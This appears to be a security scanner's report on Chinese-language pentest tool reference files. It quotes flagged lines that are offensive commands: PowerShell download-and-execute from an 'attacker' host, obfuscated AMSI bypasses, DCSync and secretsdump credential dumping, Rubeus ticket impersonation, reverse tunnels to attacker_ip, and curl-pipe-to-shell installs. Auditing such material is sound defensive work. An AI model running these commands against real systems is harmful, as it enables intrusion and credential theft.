    External References: - https://hashcat.net/wiki/ ## Kerbrute
  • Network accessline 59
    - https://hashcat.net/wiki/
  • Network accessline 72
    - 域验证: `kerbrute -d domain.com --dc dc_ip user:password` External References: - https://github.com/ropnop/kerbrute
  • Network accessline 73
    External References: - https://github.com/ropnop/kerbrute ## Medusa
  • Network accessline 74
    - https://github.com/ropnop/kerbrute
  • Network accessline 87
    - 批量爆破: `medusa -H hosts.txt -U users.txt -P pass.txt -M ssh -t 3 -T 5` External References: - https://github.com/jmk-foofus/medusa
  • Network accessline 88
    External References: - https://github.com/jmk-foofus/medusa ## Ncrack
  • Network accessline 89
    - https://github.com/jmk-foofus/medusa
  • Network accessline 101
    - 联动Nmap: `ncrack -iX nmap_scan.xml -U users.txt -P pass.txt` External References: - https://nmap.org/ncrack/
  • Network accessline 102
    External References: - https://nmap.org/ncrack/ ## Crowbar
  • Network accessline 103
    - https://nmap.org/ncrack/
  • Network accessline 115
    - VNC爆破: `crowbar -b vnckey -s target_ip/32 -p password -k /path/to/keys/` External References: - https://github.com/galkan/crowbar
  • Network accessline 116
    External References: - https://github.com/galkan/crowbar ## Patator
  • Network accessline 117
    - https://github.com/galkan/crowbar
  • Network accessline 126
    [Credential-related source omitted]
  • Network accessline 127
    [Credential-related source omitted]
  • Network accessline 128
    - HTTP表单爆破: `patator http_fuzz url="https://target.com/login" method=POST body="user=FILE0&pass=FILE1" 0=users.txt 1=pass.txt -x ignore:fgrep="Login failed"`
  • Network accessline 129
    [Credential-related source omitted]
  • Network accessline 130
    External References: - https://github.com/lanjelot/patator ## CrackStation
  • Network accessline 131
    - https://github.com/lanjelot/patator
  • Network accessline 137
    在线哈希查询和离线超大字典 Installation: 在线: https://crackstation.net / 下载字典: https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
  • Network accessline 138
    Installation: 在线: https://crackstation.net / 下载字典: https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm Representative Commands:
  • Network accessline 139
    在线: https://crackstation.net / 下载字典: https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
  • Network accessline 140
    Representative Commands: - 在线查询: `# 访问 https://crackstation.net # 输入哈希值(支持MD5/SHA1/SHA256等)
  • Network accessline 141
    - 在线查询: `# 访问 https://crackstation.net
  • Network accessline 143
    # 支持批量查询(每行一个哈希)` - 下载字典: `# CrackStation字典(15GB+): # https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
  • Network accessline 144
    - 下载字典: `# CrackStation字典(15GB+): # https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm # 配合hashcat使用:
  • Network accessline 145
    # https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
  • Network accessline 147
    hashcat -m 0 hashes.txt crackstation.txt` External References: - https://crackstation.net
  • Network accessline 148
    External References: - https://crackstation.net ## SecLists字典
  • Network accessline 149
    - https://crackstation.net
  • Network accessline 155
    安全测试人员必备的字典集合(目录、密码、用户名、Payload等) Installation: apt install seclists / git clone https://github.com/danielmiessler/SecLists
  • Network accessline 156
    Installation: apt install seclists / git clone https://github.com/danielmiessler/SecLists Representative Commands:
  • Network accessline 157
    apt install seclists / git clone https://github.com/danielmiessler/SecLists
  • Network accessline 176
    /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt` External References: - https://github.com/danielmiessler/SecLists
  • Network accessline 177
    External References: - https://github.com/danielmiessler/SecLists ## RockYou字典
  • Network accessline 178
    - https://github.com/danielmiessler/SecLists
  • Network accessline 184
    来自2009年RockYou数据泄露的经典密码字典(1400万+) Installation: # Kali自带: gzip -d /usr/share/wordlists/rockyou.txt.gz / 或下载: https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
  • Network accessline 185
    Installation: # Kali自带: gzip -d /usr/share/wordlists/rockyou.txt.gz / 或下载: https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt Representative Commands:
  • Network accessline 186
    # Kali自带: gzip -d /usr/share/wordlists/rockyou.txt.gz / 或下载: https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
  • Network accessline 197
    hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target` External References: - https://github.com/brannondorsey/naive-hashcat/releases
  • Network accessline 199
    - https://github.com/brannondorsey/naive-hashcat/releases

deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-06-intranet-penetration.md

  • Network accessline 18
    - 执行命令: `crackmapexec smb 192.168.1.100 -u admin -p password -x "whoami"` External References: - https://mpgn.gitbook.io/crackmapexec/
  • Network accessline 19
    External References: - https://mpgn.gitbook.io/crackmapexec/ ## Impacket
  • Network accessline 20
    - https://mpgn.gitbook.io/crackmapexec/
  • Network accessline 34
    - SecretsDump: `secretsdump.py domain/user:password@target_ip` External References: - https://github.com/SecureAuthCorp/impacket
  • Network accessline 35
    External References: - https://github.com/SecureAuthCorp/impacket ## Responder
  • Network accessline 36
    - https://github.com/SecureAuthCorp/impacket
  • Network accessline 50
    - 禁用SMB: `responder -I eth0 --disable-smb` External References: - https://github.com/lgandx/Responder
  • Network accessline 51
    External References: - https://github.com/lgandx/Responder ## Evil-WinRM
  • Network accessline 52
    - https://github.com/lgandx/Responder
  • Network accessline 68
    Invoke-Mimikatz` External References: - https://github.com/Hackplayers/evil-winrm
  • Network accessline 69
    External References: - https://github.com/Hackplayers/evil-winrm ## ProxyChains
  • Network accessline 70
    - https://github.com/Hackplayers/evil-winrm
  • Network accessline 89
    - 随机链: `random_chain` External References: - https://github.com/haad/proxychains
  • Network accessline 90
    External References: - https://github.com/haad/proxychains ## BloodHound
  • Network accessline 91
    - https://github.com/haad/proxychains
  • Dangerous shell operationline 101
    - 启动Neo4j: `sudo neo4j console`
  • Network accessline 102
    - 启动BloodHound: `bloodhound` - SharpHound采集: `SharpHound.exe -c All` - PowerShell采集: `IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All`
  • Network accessline 103
    - SharpHound采集: `SharpHound.exe -c All` - PowerShell采集: `IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All` - Python采集: `bloodhound-python -u user -p password -d domain.c
  • Network accessline 104
    - PowerShell采集: `IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All`
  • Network accessline 105
    - Python采集: `bloodhound-python -u user -p password -d domain.com -ns dc_ip` External References: - https://bloodhound.readthedocs.io/
  • Network accessline 106
    External References: - https://bloodhound.readthedocs.io/ ## SharpHound
  • Network accessline 107
    - https://bloodhound.readthedocs.io/
  • Network accessline 121
    - 采集方法: `SharpHound.exe -c Default,ACL,Trusts,Container` External References: - https://github.com/BloodHoundAD/BloodHound
  • Network accessline 122
    External References: - https://github.com/BloodHoundAD/BloodHound ## SharpSMBClient
  • Network accessline 123
    - https://github.com/BloodHoundAD/BloodHound
  • Network accessline 136
    - 上传文件: `SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -p local_file -r remote_path` External References: - https://github.com/0xthirteen/SharpSMBClient
  • Network accessline 137
    External References: - https://github.com/0xthirteen/SharpSMBClient ## PowerSploit
  • Network accessline 138
    - https://github.com/0xthirteen/SharpSMBClient
  • Network accessline 146
    下载脚本文件 Representative Commands: - 加载PowerView: `IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1")`
  • Network accessline 147
    Representative Commands: - 加载PowerView: `IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1")` - 获取域信息: `Get-NetDomain`
  • Network accessline 148
    - 加载PowerView: `IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1")`
  • Network accessline 152
    - 获取域控: `Get-NetDomainController` External References: - https://github.com/PowerShellMafia/PowerSploit
  • Network accessline 153
    External References: - https://github.com/PowerShellMafia/PowerSploit ## NetExec
  • Network accessline 154
    - https://github.com/PowerShellMafia/PowerSploit
  • Network accessline 171
    nxc smb target_ip -u admin -p password --ntds` External References: - https://github.com/Pennyw0rth/NetExec
  • Network accessline 172
    External References: - https://github.com/Pennyw0rth/NetExec ## Ligolo-ng
  • Network accessline 173
    - https://github.com/Pennyw0rth/NetExec
  • Network accessline 179
    高级内网隧道代理工具,基于TUN接口 Installation: 下载: https://github.com/nicocha30/ligolo-ng/releases
  • Network accessline 180
    Installation: 下载: https://github.com/nicocha30/ligolo-ng/releases Representative Commands:
  • Network accessline 181
    下载: https://github.com/nicocha30/ligolo-ng/releases
  • Dangerous shell operationline 184
    sudo ip tuntap add user $(whoami) mode tun ligolo
  • Dangerous shell operationline 185
    sudo ip link set ligolo up
  • Dangerous shell operationline 194
    sudo ip route add 10.10.10.0/24 dev ligolo`
  • Network accessline 194
    sudo ip route add 10.10.10.0/24 dev ligolo` External References: - https://github.com/nicocha30/ligolo-ng
  • Network accessline 195
    External References: - https://github.com/nicocha30/ligolo-ng ## SharpHound
  • Network accessline 196
    - https://github.com/nicocha30/ligolo-ng
  • Network accessline 202
    BloodHound的C#数据收集器,在Windows域内收集AD信息 Installation: 下载: https://github.com/BloodHoundAD/SharpHound/releases
  • Network accessline 203
    Installation: 下载: https://github.com/BloodHoundAD/SharpHound/releases Representative Commands:
  • Network accessline 204
    下载: https://github.com/BloodHoundAD/SharpHound/releases
  • Network accessline 209
    - 指定域: `.\SharpHound.exe -c All -d child.domain.com --LdapUsername user --LdapPassword pass` External References: - https://github.com/BloodHoundAD/SharpHound
  • Network accessline 210
    External References: - https://github.com/BloodHoundAD/SharpHound ## BloodHound-Python
  • Network accessline 211
    - https://github.com/BloodHoundAD/SharpHound
  • Network accessline 223
    - 指定收集类型: `bloodhound-python -d domain.com -u user -p pass -ns dc_ip -c Group,LocalAdmin,Session` External References: - https://github.com/fox-it/BloodHound.py
  • Network accessline 224
    External References: - https://github.com/fox-it/BloodHound.py ## Rubeus
  • Network accessline 225
    - https://github.com/fox-it/BloodHound.py
  • Network accessline 231
    Kerberos攻击工具集,用于票据操作和Kerberos攻击 Installation: 编译: https://github.com/GhostPack/Rubeus / 或使用预编译版
  • Network accessline 232
    Installation: 编译: https://github.com/GhostPack/Rubeus / 或使用预编译版 Representative Commands:
  • Network accessline 233
    编译: https://github.com/GhostPack/Rubeus / 或使用预编译版
  • Network accessline 242
    - 委派攻击: `Rubeus.exe s4u /user:svc$ /rc4:hash /impersonateuser:admin /msdsspn:cifs/target /ptt` External References: - https://github.com/GhostPack/Rubeus
  • Network accessline 243
    External References: - https://github.com/GhostPack/Rubeus ## Certipy
  • Network accessline 244
    - https://github.com/GhostPack/Rubeus
  • Network accessline 257
    - Shadow Credentials: `certipy shadow auto -u user@domain.com -p password -account target_user` External References: - https://github.com/ly4k/Certipy
  • Network accessline 258
    External References: - https://github.com/ly4k/Certipy ## LaZagne
  • Network accessline 259
    - https://github.com/ly4k/Certipy
  • Network accessline 265
    自动化本地密码恢复工具,支持数十种应用 Installation: 下载: https://github.com/AlessandroZ/LaZagne/releases
  • Network accessline 266
    Installation: 下载: https://github.com/AlessandroZ/LaZagne/releases Representative Commands:
  • Network accessline 267
    下载: https://github.com/AlessandroZ/LaZagne/releases
  • Network accessline 275
    python3 lazagne.py browsers` External References: - https://github.com/AlessandroZ/LaZagne
  • Network accessline 276
    External References: - https://github.com/AlessandroZ/LaZagne ## Seatbelt
  • Network accessline 277
    - https://github.com/AlessandroZ/LaZagne
  • Network accessline 283
    C#安全审计工具,快速收集Windows系统安全相关信息 Installation: 编译: https://github.com/GhostPack/Seatbelt / 或使用预编译版
  • Network accessline 284
    Installation: 编译: https://github.com/GhostPack/Seatbelt / 或使用预编译版 Representative Commands:
  • Network accessline 285
    编译: https://github.com/GhostPack/Seatbelt / 或使用预编译版
  • Network accessline 290
    [Credential-related source omitted]
  • Network accessline 291
    External References: - https://github.com/GhostPack/Seatbelt ## WinPEAS
  • Network accessline 292
    - https://github.com/GhostPack/Seatbelt
  • Network accessline 298
    Windows权限提升辅助脚本,自动发现提权路径 Installation: 下载: https://github.com/carlospolop/PEASS-ng/releases
  • Network accessline 299
    Installation: 下载: https://github.com/carlospolop/PEASS-ng/releases Representative Commands:
  • Network accessline 300
    下载: https://github.com/carlospolop/PEASS-ng/releases
  • Network accessline 308
    winpeasany.exe /quiet > output.txt 2>&1` External References: - https://github.com/carlospolop/PEASS-ng
  • Network accessline 309
    External References: - https://github.com/carlospolop/PEASS-ng ## LinPEAS
  • Network accessline 310
    - https://github.com/carlospolop/PEASS-ng
  • Network accessline 316
    Linux权限提升辅助脚本,自动发现提权路径 Installation: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 317
    Installation: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh Representative Commands:
  • Dangerous shell operationline 318
    curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 318
    curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 320
    - 全量扫描: `./linpeas.sh` - 无网络模式: `./linpeas.sh -a -o output.txt` - 内存加载: `curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash`
  • Network accessline 321
    - 无网络模式: `./linpeas.sh -a -o output.txt` - 内存加载: `curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash` - 指定检查: `./linpeas.sh -s
  • Dangerous shell operationline 322
    - 内存加载: `curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash`
  • Network accessline 322
    - 内存加载: `curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash`
  • Network accessline 326
    # -n: 仅网络信息` External References: - https://github.com/carlospolop/PEASS-ng
  • Network accessline 328
    - https://github.com/carlospolop/PEASS-ng

deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-07-credential-theft.md

  • Network accessline 18
    - DCSync: `lsadump::dcsync /domain:domain.com /user:Administrator` External References: - https://github.com/gentilkiwi/mimikatz
  • Network accessline 19
    External References: - https://github.com/gentilkiwi/mimikatz ## Rubeus
  • Network accessline 20
    - https://github.com/gentilkiwi/mimikatz
  • Network accessline 34
    - S4U攻击: `Rubeus.exe s4u /user:service_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target` External References: - https://github.com/GhostPack/Rubeus
  • Network accessline 35
    External References: - https://github.com/GhostPack/Rubeus ## DonPAPI
  • Network accessline 36
    - https://github.com/GhostPack/Rubeus
  • Network accessline 48
    - 批量提取: `donpapi domain/user:password@targets.txt` External References: - https://github.com/login-securite/DonPAPI
  • Network accessline 50
    - https://github.com/login-securite/DonPAPI

deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-08-privilege-escalation.md

  • Dangerous shell operationline 24
    - SUDO配置: `sudo -l
  • Network accessline 27
    find / -perm -222 -type d 2>/dev/null` External References: - https://gtfobins.github.io/
  • Network accessline 28
    External References: - https://gtfobins.github.io/ ## WinPEAS
  • Network accessline 29
    - https://gtfobins.github.io/
  • Network accessline 42
    - 保存结果: `winpeas.exe > output.txt` External References: - https://github.com/carlospolop/PEASS-ng
  • Network accessline 43
    External References: - https://github.com/carlospolop/PEASS-ng ## LinPEAS
  • Network accessline 44
    - https://github.com/carlospolop/PEASS-ng
  • Network accessline 57
    - 保存结果: `./linpeas.sh > output.txt` External References: - https://github.com/carlospolop/PEASS-ng
  • Network accessline 59
    - https://github.com/carlospolop/PEASS-ng

deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-09-tunneling-and-proxy.md

  • Network accessline 18
    - 多端口转发: `chisel.exe client attacker_ip:8000 R:80:127.0.0.1:80 R:3389:127.0.0.1:3389` External References: - https://github.com/jpillora/chisel
  • Network accessline 19
    External References: - https://github.com/jpillora/chisel ## Ligolo-ng
  • Network accessline 20
    - https://github.com/jpillora/chisel
  • Dangerous shell operationline 30
    - 启动代理: `sudo proxy -selfcert`
  • Network accessline 35
    - 添加网段: `interface_add_route 10.10.10.0/24` External References: - https://github.com/nicocha30/ligolo-ng
  • Network accessline 37
    - https://github.com/nicocha30/ligolo-ng

deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-10-system-commands.md

  • Network accessline 29
    net start` External References: - https://ss64.com/nt/
  • Network accessline 30
    External References: - https://ss64.com/nt/ ## NET命令集合
  • Network accessline 31
    - https://ss64.com/nt/
  • Network accessline 43
    - 组列表: `net localgroup` External References: - https://ss64.com/nt/
  • Network accessline 44
    External References: - https://ss64.com/nt/ ## PowerShell AMSI绕过
  • Network accessline 45
    - https://ss64.com/nt/
  • Network accessline 54
    - Matt Graeber方式: `$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$b=$a.GetField('am'+'siIn'+'itFa'+'iled','NonPublic,Static');$b.SetValue($null,$true)` - 内存补丁: `$w='System.Management.Automation.A'+'msiUtils';[Run
  • Network accessline 55
    - 内存补丁: `$w='System.Management.Automation.A'+'msiUtils';[Runtime.InteropServices.Marshal]::WriteByte(([Ref].Assembly.GetType($w).GetField('a'+'msiSession',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null)),0x80)` - PowerShell降级: 
  • Network accessline 56
    - PowerShell降级: `powershell -version 2 -command "IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')"`
  • Network accessline 57
    External References: - https://amsi.fail ## WMIC命令
  • Network accessline 58
    - https://amsi.fail
  • Network accessline 75
    wmic qfe list` External References: - https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmic
  • Network accessline 76
    External References: - https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmic ## DSQuery命令
  • Network accessline 77
    - https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmic
  • Network accessline 94
    - LDAP查询: `dsquery * -filter "(&(objectClass=user)(adminCount=1))" -attr sAMAccountName -limit 0` External References: - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11)
  • Network accessline 95
    External References: - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11) ## AD Explorer
  • Network accessline 96
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11)
  • Network accessline 102
    Sysinternals出品的Active Directory浏览器和快照工具 Installation: 下载: https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer
  • Network accessline 103
    Installation: 下载: https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer Representative Commands:
  • Network accessline 104
    下载: https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer
  • Network accessline 114
    # 对比AD变更(新用户/权限变更等)` External References: - https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer
  • Network accessline 115
    External References: - https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer ## ldeep
  • Network accessline 116
    - https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer
  • Network accessline 133
    ldeep ldap -u user -p pass -d domain.com -s dc_ip pass-pols` External References: - https://github.com/franc-pentest/ldeep
  • Network accessline 134
    External References: - https://github.com/franc-pentest/ldeep ## BloodHound Cypher
  • Network accessline 135
    - https://github.com/franc-pentest/ldeep
  • Network accessline 147
    - 无约束委派: `MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name` External References: - https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
  • Network accessline 149
    - https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/

deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-11-information-gathering.md

  • Network accessline 18
    - 操作系统探测: `nmap -O target_ip` External References: - https://nmap.org/docs.html
  • Network accessline 19
    External References: - https://nmap.org/docs.html ## Gobuster
  • Network accessline 20
    - https://nmap.org/docs.html
  • Network accessline 28
    apt install gobuster Representative Commands: - 目录爆破: `gobuster dir -u http://target.com -w wordlist.txt`
  • Network accessline 29
    Representative Commands: - 目录爆破: `gobuster dir -u http://target.com -w wordlist.txt` - 指定扩展名: `gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt`
  • Network accessline 30
    - 目录爆破: `gobuster dir -u http://target.com -w wordlist.txt`
  • Network accessline 31
    - 指定扩展名: `gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt`
  • Network accessline 32
    [Credential-related source omitted]
  • Network accessline 33
    - 使用Cookie: `gobuster dir -u http://target.com -w wordlist.txt -c "PHPSESSID=xxx"`
  • Network accessline 34
    [Credential-related source omitted]
  • Network accessline 35
    External References: - https://github.com/OJ/gobuster ## Nuclei
  • Network accessline 36
    - https://github.com/OJ/gobuster
  • Network accessline 44
    go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest Representative Commands: - 基础扫描: `nuclei -u http://target.com`
  • Network accessline 45
    Representative Commands: - 基础扫描: `nuclei -u http://target.com` - 指定模板: `nuclei -u http://target.com -t cves/`
  • Network accessline 46
    - 基础扫描: `nuclei -u http://target.com`
  • Network accessline 47
    - 指定模板: `nuclei -u http://target.com -t cves/`
  • Network accessline 48
    - 严重级别: `nuclei -u http://target.com -severity critical,high`
  • Network accessline 50
    - 更新模板: `nuclei -update-templates` External References: - https://nuclei.projectdiscovery.io/
  • Network accessline 51
    External References: - https://nuclei.projectdiscovery.io/ ## Seatbelt
  • Network accessline 52
    - https://nuclei.projectdiscovery.io/
  • Network accessline 66
    - 网络信息: `Seatbelt.exe -group=network` External References: - https://github.com/GhostPack/Seatbelt
  • Network accessline 67
    External References: - https://github.com/GhostPack/Seatbelt ## SearchSploit
  • Network accessline 68
    - https://github.com/GhostPack/Seatbelt
  • Network accessline 82
    - 复制漏洞: `searchsploit -m exploits/xxx.py` External References: - https://www.exploit-db.com/
  • Network accessline 83
    External References: - https://www.exploit-db.com/ ## Amass
  • Network accessline 84
    - https://www.exploit-db.com/
  • Network accessline 98
    - 保存结果: `amass enum -d target.com -o output.txt` External References: - https://github.com/OWASP/Amass
  • Network accessline 99
    External References: - https://github.com/OWASP/Amass ## Subfinder
  • Network accessline 100
    - https://github.com/OWASP/Amass
  • Network accessline 114
    - 批量处理: `subfinder -dL domains.txt` External References: - https://github.com/projectdiscovery/subfinder
  • Network accessline 115
    External References: - https://github.com/projectdiscovery/subfinder ## HTTPX
  • Network accessline 116
    - https://github.com/projectdiscovery/subfinder ## HTTPX - ID: httpx-tool
  • Network accessline 130
    - 保存结果: `cat urls.txt | httpx -o output.txt` External References: - https://github.com/projectdiscovery/httpx
  • Network accessline 131
    External References: - https://github.com/projectdiscovery/httpx ## Masscan
  • Network accessline 132
    - https://github.com/projectdiscovery/httpx
  • Network accessline 138
    最快的互联网端口扫描器,可在5分钟内扫描整个互联网 Installation: apt install masscan / brew install masscan / 源码编译: git clone https://github.com/robertdavidgraham/masscan && cd masscan && make
  • Network accessline 139
    Installation: apt install masscan / brew install masscan / 源码编译: git clone https://github.com/robertdavidgraham/masscan && cd masscan && make Representative Commands:
  • Network accessline 140
    apt install masscan / brew install masscan / 源码编译: git clone https://github.com/robertdavidgraham/masscan && cd masscan && make
  • Network accessline 148
    - 扫描Banner: `masscan -p80,443 target_ip/24 --banners --rate=500` External References: - https://github.com/robertdavidgraham/masscan
  • Network accessline 149
    External References: - https://github.com/robertdavidgraham/masscan ## Dirsearch
  • Network accessline 150
    - https://github.com/robertdavidgraham/masscan
  • Network accessline 156
    高级Web目录和文件暴力破解工具 Installation: pip3 install dirsearch / git clone https://github.com/maurosoria/dirsearch
  • Network accessline 157
    Installation: pip3 install dirsearch / git clone https://github.com/maurosoria/dirsearch Representative Commands:
  • Network accessline 158
    pip3 install dirsearch / git clone https://github.com/maurosoria/dirsearch
  • Network accessline 159
    Representative Commands: - 基础目录扫描: `dirsearch -u https://target.com -e php,asp,aspx,jsp,html,js` - 使用自定义字典: `dirsearch -u https://target.com -w /usr/share/wordlists/dirb/big.txt --delay=0.5`
  • Network accessline 160
    - 基础目录扫描: `dirsearch -u https://target.com -e php,asp,aspx,jsp,html,js`
  • Network accessline 161
    - 使用自定义字典: `dirsearch -u https://target.com -w /usr/share/wordlists/dirb/big.txt --delay=0.5`
  • Network accessline 162
    - 递归扫描: `dirsearch -u https://target.com -e php -r -R 3 --exclude-status=403,404`
  • Network accessline 163
    [Credential-related source omitted]
  • Network accessline 164
    - 输出结果: `dirsearch -u https://target.com -o result.json --format=json`
  • Network accessline 165
    External References: - https://github.com/maurosoria/dirsearch ## FeroxBuster
  • Network accessline 166
    - https://github.com/maurosoria/dirsearch
  • Network accessline 172
    用Rust编写的高性能递归目录发现工具 Installation: apt install feroxbuster / cargo install feroxbuster / 下载二进制: https://github.com/epi052/feroxbuster/releases
  • Network accessline 173
    Installation: apt install feroxbuster / cargo install feroxbuster / 下载二进制: https://github.com/epi052/feroxbuster/releases Representative Commands:
  • Network accessline 174
    apt install feroxbuster / cargo install feroxbuster / 下载二进制: https://github.com/epi052/feroxbuster/releases
  • Network accessline 175
    Representative Commands: - 基础扫描: `feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt` - 递归+过滤: `feroxbuster -u https://target.com -d 3 -C 403,404,500 -x php,asp,html --rate-limit 50`
  • Network accessline 176
    - 基础扫描: `feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt`
  • Network accessline 177
    - 递归+过滤: `feroxbuster -u https://target.com -d 3 -C 403,404,500 -x php,asp,html --rate-limit 50`
  • Network accessline 178
    [Credential-related source omitted]
  • Network accessline 179
    - 自动校准: `feroxbuster -u https://target.com --auto-tune --smart`
  • Network accessline 180
    External References: - https://github.com/epi052/feroxbuster ## MassDNS
  • Network accessline 181
    - https://github.com/epi052/feroxbuster
  • Network accessline 187
    高性能DNS解析器,用于子域名暴力枚举 Installation: git clone https://github.com/blechschmidt/massdns && cd massdns && make
  • Network accessline 188
    Installation: git clone https://github.com/blechschmidt/massdns && cd massdns && make Representative Commands:
  • Network accessline 189
    git clone https://github.com/blechschmidt/massdns && cd massdns && make
  • Network accessline 194
    - 高并发解析: `massdns -r resolvers.txt -t A -o S -w output.txt --hashmap-size 10000 -s 10000 subs.txt` External References: - https://github.com/blechschmidt/massdns
  • Network accessline 195
    External References: - https://github.com/blechschmidt/massdns ## Amass
  • Network accessline 196
    - https://github.com/blechschmidt/massdns
  • Network accessline 211
    amass db -show -d target.com` External References: - https://github.com/owasp-amass/amass
  • Network accessline 212
    External References: - https://github.com/owasp-amass/amass ## Subfinder
  • Network accessline 213
    - https://github.com/owasp-amass/amass
  • Network accessline 226
    - 多域名批量: `subfinder -dL domains.txt -o all_subs.txt -t 30` External References: - https://github.com/projectdiscovery/subfinder
  • Network accessline 227
    External References: - https://github.com/projectdiscovery/subfinder ## HTTPX
  • Network accessline 228
    - https://github.com/projectdiscovery/subfinder ## HTTPX - ID: httpx
  • Network accessline 241
    - 自定义探测: `httpx -l urls.txt -path "/api/v1/health,/admin,/.env,/robots.txt" -mc 200` External References: - https://github.com/projectdiscovery/httpx
  • Network accessline 242
    External References: - https://github.com/projectdiscovery/httpx ## WhatWeb
  • Network accessline 243
    - https://github.com/projectdiscovery/httpx
  • Network accessline 251
    apt install whatweb / gem install whatweb Representative Commands: - 基础指纹: `whatweb https://target.com`
  • Network accessline 252
    Representative Commands: - 基础指纹: `whatweb https://target.com` - 详细模式: `whatweb -v https://target.com -a 3`
  • Network accessline 253
    - 基础指纹: `whatweb https://target.com`
  • Network accessline 254
    - 详细模式: `whatweb -v https://target.com -a 3`
  • Network accessline 255
    - 批量扫描: `whatweb --input-file=urls.txt --log-json=results.json` - 指定插件: `whatweb --info-plugins whatweb -p WordPress,Joomla,Drupal https://target.com`
  • Network accessline 256
    - 指定插件: `whatweb --info-plugins whatweb -p WordPress,Joomla,Drupal https://target.com` External References:
  • Network accessline 257
    whatweb -p WordPress,Joomla,Drupal https://target.com`
  • Network accessline 258
    External References: - https://github.com/urbanadventurer/WhatWeb ## WAFW00F
  • Network accessline 259
    - https://github.com/urbanadventurer/WhatWeb
  • Network accessline 267
    pip3 install wafw00f Representative Commands: - WAF检测: `wafw00f https://target.com`
  • Network accessline 268
    Representative Commands: - WAF检测: `wafw00f https://target.com` - 详细检测: `wafw00f https://target.com -v -a`
  • Network accessline 269
    - WAF检测: `wafw00f https://target.com`
  • Network accessline 270
    - 详细检测: `wafw00f https://target.com -v -a`
  • Network accessline 272
    - 列出支持WAF: `wafw00f -l` External References: - https://github.com/EnableSecurity/wafw00f
  • Network accessline 273
    External References: - https://github.com/EnableSecurity/wafw00f ## DNSRecon
  • Network accessline 274
    - https://github.com/EnableSecurity/wafw00f
  • Network accessline 287
    - 反向解析: `dnsrecon -r 192.168.1.0/24 -t rvl` External References: - https://github.com/darkoperator/dnsrecon
  • Network accessline 288
    External References: - https://github.com/darkoperator/dnsrecon ## DNSEnum
  • Network accessline 289
    - https://github.com/darkoperator/dnsrecon
  • Network accessline 301
    - 指定DNS服务器: `dnsenum --dnsserver 8.8.8.8 target.com` External References: - https://github.com/fwaeytens/dnsenum
  • Network accessline 302
    External References: - https://github.com/fwaeytens/dnsenum ## theHarvester
  • Network accessline 303
    - https://github.com/fwaeytens/dnsenum
  • Network accessline 315
    - 输出报告: `theHarvester -d target.com -b all -f report.html` External References: - https://github.com/laramies/theHarvester
  • Network accessline 317
    - https://github.com/laramies/theHarvester

deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-12-domain-penetration.md

  • Network accessline 18
    - ESC8中继: `certipy relay -ca ca_server -template DomainController` External References: - https://github.com/ly4k/Certipy
  • Network accessline 20
    - https://github.com/ly4k/Certipy

deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-13-web-penetration.md

  • Network accessline 12
